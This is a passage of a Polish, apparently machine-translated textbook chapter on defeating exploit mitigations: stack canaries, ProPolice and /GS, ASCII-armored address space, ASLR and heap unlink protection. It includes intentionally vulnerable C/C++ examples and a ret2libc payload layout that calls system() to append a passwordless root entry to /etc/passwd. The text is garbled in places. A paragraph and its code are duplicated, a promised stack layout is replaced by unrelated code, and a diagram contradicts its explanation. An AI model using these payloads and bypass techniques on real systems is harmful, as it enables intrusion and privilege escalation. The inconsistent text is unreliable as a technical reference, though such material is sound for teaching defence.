można ominąć StackGuard w najczęstszych sytuacjach, głównie dlatego, że nie chronił innych zmiennych lokalnych, argumentów funkcji ani, co ważniejsze, zapisanego wskaźnika ramki i innych rejestrów. Chociaż w tamtym czasie obiecano nową wersję, StackGuard nigdy nie został naprawiony, a dziś został zastąpiony przez ochronę ProPolice i Visual Studio /GS. Pierwszym użytym typem kanarek był kanarek NUL, składający się z samych zer (0x00000000), ale wkrótce został zastąpiony przez kanarek terminator (0x000aff0d), który zawiera „\x00”, aby zatrzymać strcpy() i kuzynów „\x0d” i '\x0a', aby zatrzymać gets() i znajomych, oraz '\xff' (EOF) dla kilku innych funkcji i pewnych zakodowanych na sztywno pętli. W przypadku dowolnego kanarka z terminatorem sztuczka polega na tym, że jeśli atakujący spróbuje nadpisać kanarka oryginalną wartością, funkcje łańcuchowe przestaną zapisywać dane do bufora, a to, co nastąpi po buforze, nie zostanie uszkodzone. Trzecim typem kanarka jest kanarek losowy, który, jak sama nazwa wskazuje, jest generowany losowo i musiałby zostać odczytany z pamięci, zmieniony lub po prostu przewidziany przez atakującego, aby wykonać udany atak. W następnym układzie stosu możesz zobaczyć, jak StackGuard nie chroni var1 i wskaźnika zapisanej ramki (ebp dla Intela). Najbardziej ogólnym znanym scenariuszem ataku jest nadpisanie wskaźnika ramki, aby kontrolować całą ramkę stosu widzianą przez funkcję wywołującą, w tym jej zmienne, argumenty i adres powrotu. W tym przypadku możliwe jest podpięcie przepływu wykonania przy drugim powrocie, podobnie jak w przypadku podstawowego wykorzystania przepełnienia bufora Solarisa opartego na stosie. Jeśli stos jest wykonywalny, bezpośrednie przeskoczenie do niego jest opcją; w przeciwnym razie możliwe jest przeprowadzenie połączonego ataku ret2code, nawet jeśli aplikacja była chroniona za pomocą StackGuard.

↑Lower addressesv

var2 4 bytes

buf 80 bytes

var1 4 bytes

saved ebp 4 bytes

canary 4 bytes

return address 4 bytes

arg 4 bytes

↓ Higher addresses

Kanarki, które chronią tylko adres zwrotny, prawie nie istnieją dzisiaj, a po tym powiedziawszy, nadszedł czas, aby przejść do następnej sekcji.

Idealny układ stosu

Aby chronić inne poufne informacje, które mogą być przechowywane po podatnym buforze, istnieją co najmniej dwa różne sposoby. Możesz dodać kanarka zaraz po każdym buforze i sprawdzić, czy został zmieniony za każdym razem przed uzyskaniem dostępu do jakichkolwiek innych danych przechowywanych po nim, lub możesz przenieść poufne dane z drogi przepełnienia bufora, zmieniając kolejność zmiennych lokalnych na stos. Chociaż ta pierwsza mogłaby zostać zaimplementowana jako modyfikacja kompilatora, nigdy nie była wymieniana ani badana jako możliwość (o ile nam wiadomo), prawdopodobnie ze względu na jego wpływ na wydajność. Ten ostatni został jednak po raz pierwszy wymieniony jako efekt uboczny optymalizacji kompilatorów przez Theo de Raadta 19 grudnia 1997 r. (http://seclists.org/bugtraq/1997/Dec/0128.html), a faktycznie przedstawiony i zaimplementowany

jako celowy mechanizm ochrony Hiroaki Etoh, gdy wydał ProPolice 19 czerwca 2000 r. (http://www.trl.ibm.com/projects/security/ssp/main.html). Te same pomysły zostały później powoli wprowadzone w Microsoft Visual Studio w tak zwanej funkcji /GS. ProPolice zmienia kolejność danych przechowywanych w stosie w tak zwany idealny układ stosu. Umieszcza lokalne bufory na końcu ramki stosu, przenosząc przed nimi inne lokalne zmienne. Kopiuje również argumenty do zmiennych lokalnych, które również są relokowane. Nie przenosi rejestrów zapisanych przy wejściu do funkcji (w tym wskaźnika ramki) lub adresu zwrotnego, ale umieszcza kanarka we właściwym miejscu, aby je chronić. Poniższy układ stosu jest wynikiem kompilacji przykładowego programu z ProPolice (opcja -fstack-protector w nowoczesnych GCC). Jako dodatkowy test, optymalizacje (opcja -O4) są również włączone, tak jak w przeszłości ProPolice był zoptymalizowany i skutecznie wyłączony.

↑Lower addresses

var2 4 bytes

buf 80 bytes

var1 4 bytes

saved ebp 4 bytes

canary 4 bytes

return address 4 bytes

arg 4 bytes

↓ Higher addresses

Na poprzednim diagramie możesz zobaczyć, jak kopia var1, var2 i arg nie ma możliwości przepełnienia buf i chociaż zapisane adresy ebp, ebx i return mogą zostać nadpisane, kanarek jest sprawdzany przed uzyskaniem do nich dostępu, więc możesz być pewien, że informacje są albo niedostępne, albo dostępne tylko po sprawdzeniu kanarka. Odbyło się wiele dyskusji na temat tego, jak bardzo technologie ochrony obniżają wydajność chronionej aplikacji. W odpowiedzi zarówno ProPolice, jak i Visual Studio postanowiły dokładnie ocenić, które funkcje chronić, a które pozostawić niezabezpieczone. Ponadto program Visual Studio kopiuje również tylko to, co nazywa argumentami podatnymi na ataki, pozostawiając resztę bez ochrony. Ten mechanizm decyzyjny może być zbyt rygorystyczny, pozostawiając niektóre wrażliwe funkcje niezabezpieczone. Jednocześnie, nawet gdyby te mechanizmy selekcji nie istniały, a każda funkcja i każdy argument były chronione, wciąż jest kilka miejsc, w których idealny układ stosu tak naprawdę nie istnieje:

* W funkcji z kilkoma buforami lokalnymi wszystkie są umieszczane jeden po drugim na stosie, dzięki czemu możliwe jest przepełnienie z jednego bufora do drugiego. Zasięg tego scenariusza zależy od tego, co dany bufor oznacza dla aplikacji, tak jak w przypadku każdego innego ataku na uszkodzenie danych. Na przykład może to zmienić przepełnienie bufora w (bardziej elastyczny) ciąg formatu, jak w przypadku luki w dhcpd CVE-2004-0460.

* Członków struktury nie można przestawiać ze względu na problemy z interoperacyjnością; stąd, gdy zawierają bufor, ten bufor pozostanie w lokalizacji zdefiniowanej przez deklarację struktury lub klasy, a wszystkie pola zdefiniowane po nim mogą być kontrolowane w przypadku przepełnienia bufora.

* Niektóre struktury, takie jak tablice wskaźników lub obiekty inne niż znaki, mogą być przepełnione lub traktowane jako informacje poufne, w zależności od semantyki aplikacji. Nie jest łatwo (a może być

wręcz niemożliwe) stworzenie algorytmu, który mógłby zdecydować, czy należy je przenieść na bezpieczną stronę ramki stosu, czy pozostawić w niebezpiecznym obszarze.

* W funkcjach ze zmienną liczbą argumentów liczba zmiennych argumentów nie może być znana z góry, dlatego należy je pozostawić w strefie osiągalnej, bez ochrony przed przepełnieniem bufora.

* Bufory tworzone dynamicznie na stosie za pomocą alloca() będą nieuchronnie umieszczane na górze ramki stosu, zagrażając wszystkim innym zmiennym lokalnym. To samo dotyczy lokalnych buforów o rozmiarze runtime, dozwolonych przez rozszerzenia GCC do C, jak w następnym przykładzie:

```
#include < stdio.h >

typedef int(*fptr)(const char *);

vulnerable_function(char *msg, int size, fptr logger) {

char buf[size+10];

sprintf(buf, “Message: %s”, msg);

logger(buf);

int main(int c, char **v) {

vulnerable_function(v[1], 80, puts);

}
```

Dzięki temu, co właśnie zostało opisane, można prawie zamknąć przepełnienia bufora oparte na stosie i traktować je jako rozwiązany problem; jednak, jak zwykle, musisz zadać sobie „Prawdziwe pytanie”: czy po podatnym buforze jest coś, co, jeśli zostanie uszkodzone, może dać atakującemu jakąkolwiek przewagę? Zwykle natychmiastową odpowiedzią jest adres powrotu lub w inny sposób wskaźnik ramki, zmienne lokalne, argumenty funkcji lub inne rejestry zapisane przy wejściu do funkcji. Ale wszystko to jest chronione przez funkcję /GS ProPolice i Visual Studio (chciałabym, żeby ta ostatnia miała krótszą nazwę!). Czy w rzeczywistości po buforze pozostało coś, co mogłoby się przydać osobie atakującej? Odpowiedź brzmi oczywiście: „Tak!” Zawsze coś jest po buforze. W szczególności w 32-bitowym systemie Windows bardzo dobrze wiadomo, że rekord rejestracji wyjątków jest przechowywany na stosie i chociaż w nowszych wersjach programu Visual Studio został przeniesiony na bezpieczną stronę, rekordy rejestracji wyjątków dla wywoływania funkcji są nadal dostępne i będą być wywoływana, jeśli program obsługi wyjątków dla podatnej funkcji nie obsługuje wygenerowanego wyjątku. Więcej informacji na ten temat są dostępne w części 8. Wychodząc z systemu Windows i przechodząc do przypadku ogólnego, na stosie nadal znajdują się informacje, które mogą zostać użyte przed zwróceniem podatnej funkcji: zmienne lokalne innych funkcji, które są bezpośrednio lub pośrednio przekazywane przez wskaźniki do wrażliwa funkcja. W takich przypadkach plik cookie jest sprawdzany tylko przy wyjściu z funkcji, ale argumenty są używane wewnątrz funkcji i masz szansę pośrednio kontrolować argumenty. Ta konstrukcja kodu jest bardzo powszechna w aplikacjach C++. Przestudiuj następujący przykład:

```
#include < stdio.h >

class AClass {

public:

virtual int some_virtual_function() { return 1; }
```

```
};
int a_vulnerable_function(AClass &arg) {
char buf[80];
gets(buf);
return printf("%d\n", arg.some_virtual_function());
}
int main() {
AClass anInstance;
return a_vulnerable_function(anInstance);
}
```

Układ stosu dla tego programu, gdy wykonuje on a_vulnerable_function(), wygląda tak:

```
#include < stdio.h >
typedef int(*fptr)(const char *);
vulnerable_function(char *msg, int size, fptr logger) {
char buf[size+10];
sprintf(buf, "Message: %s", msg);
logger(buf);
int main(int c, char **v) {
vulnerable_function(v[1], 80, puts);
}
```

Dzięki temu, co właśnie zostało opisane, można prawie zamknąć przepełnienia bufora oparte na stosie i traktować je jako rozwiązany problem; jednak, jak zwykle, musisz zadać sobie „Prawdziwe pytanie": czy po podatnym buforze jest coś, co, jeśli zostanie uszkodzone, może dać atakującemu jakąkolwiek przewagę? Zwykle natychmiastową odpowiedzią jest adres powrotu lub w inny sposób wskaźnik ramki, zmienne lokalne, argumenty funkcji lub inne rejestry zapisane przy wejściu do funkcji. Ale wszystko to jest chronione przez funkcję /GS ProPolice i Visual Studio (chciałabym, żeby ta ostatnia miała krótszą nazwę!). Czy w rzeczywistości po buforze pozostało coś, co mogłoby się przydać osobie atakującej? Odpowiedź brzmi oczywiście: „Tak!" Zawsze coś jest po buforze. W szczególności w 32-bitowym systemie Windows bardzo dobrze wiadomo, że rekord rejestracji wyjątków jest przechowywany na stosie i chociaż w nowszych wersjach programu Visual Studio został przeniesiony na bezpieczną stronę, rekordy rejestracji wyjątków dla wywoływania funkcji są nadal dostępne i będą być wywoływana, jeśli program obsługi wyjątków dla podatnej funkcji nie obsługuje wygenerowanego wyjątku. Więcej informacji na ten temat można znaleźć w części 8. Wychodząc z systemu Windows i przechodząc do przypadku ogólnego, na stosie wciąż pozostają informacje, które mogą zostać użyte przed zwróceniem podatnej funkcji: zmienne lokalne innych funkcji, które są bezpośrednio lub pośrednio przekazywane przez wskaźniki do wrażliwej funkcji. W takich przypadkach plik cookie jest sprawdzany tylko przy wyjściu z funkcji, ale argumenty są używane wewnątrz funkcji i masz szansę pośrednio kontrolować

argumenty. Ta konstrukcja kodu jest bardzo powszechna w aplikacjach C++. Przestudiuj następujący przykład:

```
#include < stdio.h >

class AClass {

public:

virtual int some_virtual_function() { return 1; }

};

int a_vulnerable_function(AClass &arg) {

char buf[80];

gets(buf);

return printf("%d\n", arg.some_virtual_function());

}

int main() {

AClass anInstance;

return a_vulnerable_function(anInstance);

}
```

Układ stosu dla tego programu, gdy wykonuje on a_vulnerable_function(), wygląda tak:

↑ Lower addresses

arg copy 4 bytes

buf 80 bytes

canary 4 bytes

saved ebp 4 bytes

return address 4 bytes

arg (not used) 4 bytes

anInstance 4 bytes ← main()'s frame starts here.

saved ebp 4 bytes

return address 4 bytes

argc 4 bytes

argv 4 bytes

envp 4 bytes

↓ Higher addresses

Tutaj możesz zobaczyć, że instancja jest przechowywana w lokalnej pamięci dla main(), która jest umieszczona po buf (i po canary też). Chociaż arg jest kopiowany na bezpieczną stronę bufora, to, na co wskazuje, nie jest. I chociaż kanarek jest zmieniany, nie jest sprawdzany, dopóki funkcja się nie zakończy, co jest oczywiście za późno, aby zweryfikować integralność argumentów funkcji. Bardziej subtelny przykład - i jeszcze bardziej powszechny - jest następujący, gdzie najwyraźniej nie ma argumentu przekazanego do wrażliwej funkcji; jednak w C++ wskaźnik „ten" jest zawsze przekazywany jako niejawny argument do wywoływanych metod i w tym przypadku jest to w rzeczywistości instancja i jest przechowywana w lokalnym miejscu do przechowywania głównego, zaraz za buforem.

```
#include < iostream >

class AClass {

public:

virtual int some_virtual_function() { return 1; }

void a_vulnerable_function() {

char buf[80];

std::cin >> buf; // gets() is just the same

some_virtual_function();

};

int main() {

AClass anInstance;

anInstance.a_vulnerable_function();

}
```

Innym, znacznie mniej powszechnym, ale znacznie bardziej dyskutowanym wcieleniem tej luki jest sytuacja, w której aplikacja wykorzystuje trampoliny funkcji GCC umieszczone na stosie. Trampoliny to małe fragmenty kodu, które należy utworzyć w czasie wykonywania. Ich jedyną misją jest przekazywanie jako argumentów do wywoływanych funkcji, prezentując dokładnie tę samą słabość, co przedstawiony właśnie przykład. Są bardzo rzadko używane, więc jest bardzo mało prawdopodobne, że znajdziesz je podczas kodowania exploita. Ochrona danych stosu, jeśli jest właściwie zaimplementowana, jest dość skuteczna i ważna, zwłaszcza gdy ze względu na obecność W^X jedną z nielicznych możliwości są ataki ret2code. Gdy funkcja jest chroniona przez kanarka, jest ona nie tylko chroniona przed przepełnieniem bufora, ale również bardzo trudno jest jej użyć w połączonym ataku ret2code, ponieważ sprawdzanie kanarka nie powiedzie się, gdy zostanie użyta fałszywa ramka stosu. Z punktu widzenia bezpieczeństwa ma znaczenie, czy każda funkcja jest chroniona, czy tylko kilka.

UWAGA : Na marginesie, interesujące jest to, że GCC nie ostrzega o niepewnym użyciu std::cin, w porównaniu do ostrzeżenia wydawanego w przypadku użycia gets(). Możesz się zastanawiać, kto tak często mieszałby C i C++. Szybkie i brudne wyszukiwanie „char buf [„ „cin >> buf" w /codesearch Google szybko odpowie na pytanie.

AAAS: Opancerzona przestrzeń adresowa ASCII

Jak już wspomniano wcześniej w sekcji o zabezpieczeniach niewykonywalnych stosów, ret2libc jest realną możliwością ominięcia niewykonywalnych stosów. Jako rozwiązanie Solar Designer

zaimplementował poprawkę do jądra Linuksa, która ładowała wszystkie współdzielone biblioteki w adresach pamięci zaczynających się od bajtu NUL („\x00”). Początkowo wybrał zakres zaczynający się od 0x00001000, ale wkrótce przeszedł na bezpieczniejszy dolny limit 0x00110000 z powodu niezgodności z programami używającymi VM86, takimi jak dosemu . Pomysł był prawdopodobnie ulepszeniem w stosunku do pomysłu opublikowanego przez Ingo Molnara poprzedniego dnia. Funkcje łańcuchowe, takie jak strcpy(), zatrzymają kopiowanie danych w bajcie NUL; dlatego atakujący będzie mógł napisać tylko jeden bajt NUL na końcu przepełnionego łańcucha, podobnie jak w przypadku kanarek terminatorowych. Na platformach big-endian AAAS jest silniejszą ochroną, ponieważ bajt NUL trafia do pamięci jako pierwszy i odcina operację ciągu, zanim adres powrotu zostanie uszkodzony dalej niż pierwszy bajt. Jednak na platformach little-endian, takich jak Intel, bajt NUL jest ostatni w pamięci, co pozwala wybrać funkcję biblioteczną, do której ma powrócić, nawet jeśli bajt wyższego rzędu jego adresu wynosi zero, ponieważ można wykorzystać końcowe „ NUL” w swoim łańcuchu. Jako trywialny przykład załóżmy, że chcesz wywołać system („echo gera::0:0::/:/bin/sh >>/etc/passwd”). Jeśli wiedziałeś, że adres system() to 0x00123456, a adres twojego bufora to 0xbfbf1234, możesz nadpisać stos następującymi danymi:

↑Lower addresses

XXXX 4 bytes These bytes end up at address 0xbfbf1234

YYYY 4 bytes This will become where system() returns

“echo

gera::0:0::... 39 bytes

“;#“ 2 bytes Comment out the rest of the “command”

... Pad up to frame pointer

34 12 bf bf 4 bytes New frame pointer

59 34 12 00 4 bytes system()’s address +3, after “mov ebp, esp”

↓Higher addresses

Używając tej sztuczki, jeśli możesz sprawić, że wskaźnik ramki będzie wskazywał na twój bufor, możesz kontrolować całą ramkę stosu funkcji zwracanej do, w tym jej argumenty, adres powrotu i wskaźnik ramki przy wyjściu. Nie jest to prosta procedura, ale jest to ciekawy i dość ogólny sposób przeprowadzenia ataku ret2libc, a nawet ret2strcpy/ret2gets na systemy chronione AAAS. Co więcej, w większości implementacji AAAS (jeśli nie we wszystkich) główny wykonywalny plik binarny nie jest przenoszony do ASCII Armored Address Space, a plik wykonywalny generalnie zapewnia dużą ilość kodu do ponownego użycia, w tym wszystkie epilogi funkcji i PLT programu, które zwiększa możliwości znalezienia niezbędnych elementów do ataku ret2text, w tym połączonego kodu ret2code, ret2plt lub ret2dl-resolver, jak zostało to omówione w poprzedniej sekcji. Prostym pomysłem na ulepszenie AAAS w celu ochrony przed atakami ret2text byłoby przeniesienie pliku binarnego do AAAS, ale to nie ochroni przed przepełnieniami spowodowanymi przez get() lub opisanymi właśnie sztuczkami, więc powinieneś przejść do lepszego i nowsza ochrona: ASLR.

ASLR: Randomizacja układu przestrzeni adresowej

Zasada losowania układu przestrzeni adresowej (ASLR) jest prosta: jeśli adres wszystkiego, w tym bibliotek, aplikacji wykonywalnej, stosu i sterty jest losowy, atakujący nie będzie wiedział, gdzie przeskoczyć, aby pomyślnie wykonać dowolny kod lub gdzie wskazywać wskaźniki w ataku tylko na

dane. Kiedy pipacs po raz pierwszy zaimplementował ASLR w PaX dla Linuksa w 2001 roku, udokumentował to bardzo wyraźnie: jeśli każdy adres nie jest losowy i nieprzewidywalny, zawsze będzie miejsce na jakiś rodzaj ataku. Jeśli atakujący może wstrzyknąć obcy kod bezpośrednio do pamięci wykonywalnej i jest miejsce na znaczną liczbę nopów, przybliżony adres może wystarczyć do niezawodnego wykonania kodu. W przeciwnym razie, jeśli trzeba użyć ret2code, ponieważ W^X jest na miejscu lub trampolina jest obowiązkowa ze względu na zmienność adresu kodu, exploit musi przeskoczyć pod dokładny adres. W obu przypadkach, jeśli randomizacja wprowadza dużą entropię w przestrzeni adresowej, należy dokładnie przeanalizować opcje exploita wykonania kodu:

* Czy zostało coś naprawionego pod przewidywalnym adresem?

W większości przypadków tak! I to jest najsłabszy punkt w większości implementacji ASLR. Aby zmapować sekcję kodu do losowej lokalizacji, musi ona zostać skompilowana jako obiekt relokowalny. Biblioteki ładowane dynamicznie są zwykle relokowalne, ale główne pliki binarne aplikacji są zwykle kompilowane tak, aby działały pod stałym znanym adresem pamięci (na przykład w systemie Linux dla większości plików binarnych jest to 0x8048000), co pozostawia cały ten kod poza ASLR. Problemy z wydajnością są główną wadą kompilacji czegoś tak relokowalnego, nie tylko dlatego, że plik musi być specjalnie przetwarzany za każdym razem, gdy jest ładowany, ale także ze względu na dostępne optymalizacje kompilacji. Jak uprzejmie wyjaśnił Theo de Raadt, GCC potrzebuje rejestru przydzielanego prawie przez cały czas do obsługi obiektów relokowalnych, a na platformach takich jak Intel x86, gdzie rejestry są rzadkim zasobem, powoduje to dużą karę wydajności w aplikacji. Oryginalna dokumentacja PaX i późniejsze dyskusje na listach dyskusyjnych jasno stwierdzają, że dla pełnej ochrony wszystkie binaria muszą zostać przekompilowane, ale tylko kilka dystrybucji to zrobiło. Gdy w przewidywalnej lokalizacji pozostanie kod, można użyć jakiegoś kodu ret2code. W omawianych przypadkach przychodzą na myśl ret2text, ret2strcpy, ret2gets i bardziej ogólne ret2plt i ret2dl-resolve. Głównym problemem tych technik jest to, że prawdopodobnie będą wymagały wskaźnika jako argumentu do wybranej funkcji, a jeśli większość adresów jest losowa, nie będzie łatwo znaleźć, czego użyć:

* W miarę możliwości używaj ret2gets. Pobiera pojedynczy argument i musi to być tylko dowolny adres w sekcji W+X (chociaż znalezienie dobrej implementacji W^X może być skomplikowane).

* Użyj mmap-ret2gets-code, aby utworzyć sekcję W+X w znanej lokalizacji, wczytać do niej kod i przeskoczyć.

* Postaraj się, aby aplikacja dostarczyła Ci adresy. Możliwe jest znalezienie odpowiednich adresów już zapisanych w rejestrach lub wepchnięty głębiej w stos. Jeśli właściwą sekwencję kodu można znaleźć poza ASLR, możliwe jest wykorzystanie tych adresów i obejście ASLR. Czasami nawet częściowe adresy mogą wystarczyć. Na przykład może wystarczyć nadpisanie dwóch najniższych bajtów adresu zwrotnego lub wskaźnika funkcji, aby uzyskać prawidłowe wykonanie kodu.

W niektórych systemach, zwłaszcza w nowoczesnych dystrybucjach Linuksa, istnieje strona zawierająca kod kleju dla programów, które mają być używane podczas wywoływania wywołań systemowych i wracania z sygnałów. Możesz go zobaczyć jako [vdso] w /proc/<pid>/maps. Ta strona zawiera kod, który okazał się przydatny w przypadku niektórych exploitów, a niektóre systemy nadal mapują go zawsze w stałej lokalizacji, co przekształca go w bardzo interesujący cel dla ataków ret2syscall lub ogólniej ret2code. Pamiętaj, że w zależności od dystrybucji [vdso] może być mapowane jako niewykonalne.

* Jak łatwo odgadnąć losowo wygenerowane adresy?

Prostą miarą losowości adresów jest sprawdzenie, ile bitów należy odgadnąć. Chociaż jest to bardzo prosta analiza i można użyć bardziej złożonych narzędzi statystycznych, da to prostą odpowiedź na pytanie. Na przykład, jeśli sukces exploita zależy tylko od 8 bitów (jak w przypadku pliku cookie sterty systemu Windows), można go uznać za niewiarygodny w przypadku ukierunkowanego ataku na pojedyncze pudełko. Jednak robak wykładniczo wyrośnie z ograniczenia prędkości wynikającego z konieczności osiągnięcia odpowiedniej wartości, a ukierunkowany atak na organizację z dużą liczbą systemów lub użytkowników również będzie miał duże szanse powodzenia. Inne czynniki, które należy wziąć pod uwagę, to to, jak często zmieniają się adresy, czy podatność pozwala na wielokrotne próby, czy nie, oraz czy wszystkie sekcje pamięci zachowują odległość od siebie, poruszając się razem o stałe przemieszczenie. Jeśli atakujący musi nadpisać wiele wskaźników, można to ułatwić, jeśli będzie musiał odgadnąć tylko jeden adres. Każda implementacja ma inne ślady. Zobaczysz szczegółowe informacje w ostatniej sekcji.

* Czy istnieje sprytny sposób na znalezienie tych adresów?

To chyba ciekawsze podejście, ponieważ nie zależy od problemów w implementacji. Jeśli aplikacja w jakiś sposób pozwala atakującemu dowiedzieć się czegokolwiek o jej układzie pamięci, przestrzeń wyszukiwania można zmniejszać, czasami krok po kroku, aż pozostanie tylko niewielki zasięg i można go po prostu przeszukać. W przypadku lokalnych exploitów eskalacji uprawnień, cenna mapa pamięci może być dostępna, na przykład poprzez „/proc/<pid>/maps” w systemach Linux. Jeśli tak nie jest, brutalne użycie siły zawsze może być opcją. Na przykład, na dwurdzeniowym dwurdzeniowym procesorze 2 GHz z systemem Linux, wykonanie programu trwa nieco ponad półtorej minuty, wykonując 16 bitów (216 razy). Wymagany czas rośnie bardzo blisko liniowo wraz z rozmiarem przestrzeni wyszukiwania, więc można powiedzieć, że przeszukiwanie 24 bitów zajmie około 7,2 godziny, czyli mniej więcej tyle samo, ile administrator spokojnie śpi w domu. W przypadku zdalnych exploitów należy zbadać te same pomysły. Przykłady z książki kucharskiej dotyczące zdalnego mapowania pamięci to błędy formatu ciągu, w których osoba atakująca może zobaczyć wyrenderowane dane wyjściowe. Dzięki dokładnemu zbadaniu pamięci możliwe jest zmapowanie, a nawet pobranie całej pamięci docelowej aplikacji. Jeśli jednak — od próby do wypróbowania — przestrzeń pamięci zostanie ponownie randomizowana, zadanie nie będzie trywialne (o ile w ogóle będzie możliwe). Z kilku interfejsów zdalnego wywoływania procedur wyciekają wewnętrzne adresy pamięci jako „uchwyty”, które są przekazywane do klienta. W aplikacjach wielowątkowych, które są bardzo powszechne w systemie Windows, przestrzeń adresowa nie może być zmieniana losowo na wątek, co ułatwia zbieranie lepszych informacji, ale jednocześnie bardzo często zdarza się, że w przypadku awarii wątku cała aplikacja umiera, zabijając możliwość dalszych prób wykorzystania. W systemach uniksowych, gdy proces fork()s, jego układ pamięci jest replikowany do nowego procesu, a jeśli jeden proces umrze, drugi przeżyje. Nadużywając tego, atakujący może uzyskać wiele informacji, nawet w przypadkach, gdy aplikacja nie generuje żadnych widocznych danych wyjściowych. Jeśli usterka może zostać wykorzystana kilka razy i można zdalnie odróżnić, czy aplikacja uległa awarii, czasami można znaleźć sposób, aby zdalnie stwierdzić, czy dany adres jest możliwy do odczytania, zapisania lub niezamapowany na docelowy proces. Z czasem, a zwłaszcza mózgiem, może to wystarczyć do zdalnego mapowania pamięci. Zdając sobie sprawę, że fork() nie zmienia losowo układu pamięci, zespół OpenBSD zaczął zmieniać bardziej krytyczne aplikacje, aby wykonywały się ponownie, zamiast po prostu fork(), aby wymusić ponowną randomizację każdego nowego procesu. ASLR, gdy jest właściwie zaimplementowany i zintegrowany z aplikacjami, stanowi bardzo silną ochronę przed exploitami wykonania kodu; jednak większość systemów operacyjnych nie oferuje kompletnego rozwiązania, pozostawiając otwarte okno na wkradnięcie się ataków. Podczas pisania exploita zawsze

interesujące jest poszukanie tego, co zostało naprawione w pamięci i zidentyfikowanie, które fragmenty kodu można ponownie wykorzystać ze znanego Lokalizacja. Techniki ataku, takie jak ret2plt, odzyskają swoją żywotność i pomogą nam w trudnym zadaniu pisania exploitów.

Ochrona stosu

Możliwość wykorzystania przepełnienia bufora zależy wyłącznie od tego, co jest przechowywane w pamięci po buforze. Dla każdego przepełnienia bufora mogą istnieć różne możliwości, w zależności od aplikacji, ale w ogólnym przypadku jest kilka rzeczy, których możesz się spodziewać, w zależności od tego, gdzie znajduje się bufor. Gdy bufor znajduje się na stosie, zwykle możesz celować w adres zwrotny. Jeśli znajduje się na stercie, najczęstszą i powszechną techniką eksploatacji jest uszkodzenie struktur zarządzania stertą używanych przez biblioteki. Funkcje zarządzania stertą potrzebują sposobu na śledzenie, które fragmenty pamięci są używane, a które są dostępne. Chociaż odpowiednia jest nieskończona liczba struktur danych, najczęściej wybierana jest pewnego rodzaju podwójnie połączona lista, aby zapamiętać nieużywane bloki do późniejszego ponownego wykorzystania. W systemach Windows, Linux, Solaris, AIX i innych istnieją dobrze znane techniki eksploatacji, które wykorzystują uszkodzenie tych połączonych list do wykonania tak zwanego arbitralnego 4-bajtowego [odwzorowanego] prymitywu zapisu. 4-bajtowy zapis jest osiągany, gdy uszkodzony węzeł jest usuwany z połączonej listy. Przyjrzyj się tej sytuacji bardziej szczegółowo. Załóżmy, że podatna aplikacja korzystała ze sterty iw momencie przepełnienia ma trzy wolne bloki, A, B i C, przechowywane w tej kolejności na podwójnie połączonej liście. Każdy z tych węzłów musi mieć odniesienie do następnego i poprzedniego węzła, aby utrzymać strukturę, czasami nazywane łączami wstecznymi i do przodu.

…->następny = A

A->następny = B

B->następny = C

C->następny = ...

...->poprzedni = C

C->poprzedni = B

B->poprzedni = A

A->poprzedni = ...

Wielokropek może odnosić się do początku listy lub do innych wolnych bloków. Istnieją dwa różne przypadki, w których węzeł musi zostać usunięty z listy wolnych bloków:

* Gdy użytkownik zażąda zablokowania poprzez malloc(), RtlAllocateHeap(), new i tak dalej.

* Lub aby zminimalizować fragmentację, gdy użytkownik zwalnia blok sąsiadujący w pamięci z nieużywanym blokiem.

Ten ostatni przypadek jest znany jako koalescencja lub konsolidacja i aby to zrobić, najpierw należy usunąć z listy pierwotnie nieużywany blok, następnie dwa bloki należy połączyć w większy, a na końcu nowy blok należy ponownie włożyć do lista. Operacja usuwania węzła z połączonej listy jest powszechnie znana jako unlink() i może być naszkicowana jako następujący kod:

unlink(node):

node->prev->next = node->next

node->next->prev = node->prev

Podczas pracy na B i jeśli struktura węzłów dla B nie jest uszkodzona, wygląda to tak:

unlink(B):

B->prev->next = B->next // A->next = C

B->next->prev = B->prev // C->prev = A

Powszechna technika sterty-eksploatacji-on-unlink() polega na uszkodzeniu B->prev i B->next danymi kontrolowanymi przez użytkownika, skutecznie zapisując ich zawartość we wzajemnych adresach pamięci:

B->corrupted_prev->next = B->corrupted_next

B->corrupted_next->prev = B->corrupted_prev

A teraz o zabezpieczenia.W dobrze sformatowanej podwójnie połączonej liście łatwo zauważyć, że dla dowolnego węzła na liście (na przykład B)

B->prev->next == B

B->next->prev == B

Oznacza to, że następny z poprzednich musi być samym węzłem i na odwrót. Jeśli ten niezmiennik nie jest spełniony, oznacza to, że połączona lista została zmodyfikowana spoza funkcji zarządzania stertą i zakłada się błąd uszkodzenia sterty. W Linuksie prowadzi to do natychmiastowego przerwania działania aplikacji; jednak w systemie Windows, przynajmniej w systemie Windows XP SP2, chociaż węzeł nie jest usuwany z listy, aplikacja szczęśliwie kontynuuje działanie. Pomysł bezpiecznego unlink(), który weryfikuje integralność połączonej listy, został po raz pierwszy publicznie zaproponowany przez Stefana Essera 2 grudnia 2003 r. (http://marc.info? m=107038246826168) w odpowiedzi na e-mail proponujący użycie pliki cookie (lub kanarki) do ochrony struktur sterty. Wrócimy do tego później w tej sekcji. Najwyraźniej zespół PHP pierwotnie odrzucił pomysły Stefana ponad rok wcześniej, a zostały one włączone do głównego nurtu glibc mniej więcej rok po e-mailu Stefana. Podobne bezpieczne kontrole unlink() zostały później uwzględnione w dodatku Service Pack 2 dla systemu Windows XP, SP1 dla systemu Windows 2003 i utrzymane w systemie Windows Vista wśród wielu innych nowych zabezpieczeń, które szybko omówimy w dalszej części tej sekcji. Aby wiedzieć, czy nadal istnieje pole do ataków sterty, należy odpowiedzieć na dwa główne pytania:

* Czy istnieją jakieś operacje na stercie, które nie są chronione przez funkcję safe-unlink()?

Krótka odpowiedź brzmi: tak, są. W Linuksie jest ich całkiem sporo, jak mistrzowsko wyjaśnił Phantasmal Phantasmagoria w tak zwanym „Malloc Maleficarum”. Jego techniki eksploatacji nie są łatwe do zrozumienia i wykonania. Tutaj rzucisz okiem na technikę, którą nazwał „Domem Umysłu”. Czytanie całego artykułu to wysoce rekomendowane. Gdy węzeł musi zostać usunięty z połączonej listy, używane jest makro unlink(), a to makro jest miejscem, w którym dodawana jest bezpieczna kontrola unlink(). Jednak po wstawieniu nowego węzła na listę nie ma kontroli i jak wyjaśniono w „Malloc Maleficarum”, czasami atakujący może ostrożnie uszkodzić struktury sterty, aby węzeł mógł zostać wstawiony do fałszywej połączonej listy kontrolowanej przez atakującego, skutecznie nadpisując 4 bajty wskaźnikiem do bufora kontrolowanego przez atakującego. Poniżej znajduje się kod malloc() do wstawiania węzła kontrolowanego przez atakującego (p) na połączonej liście. Jeśli niezbędne warunki są spełnione, atakujący może kontrolować wartość zwracaną z unsorted_chunks(av) i wymusić zapisanie 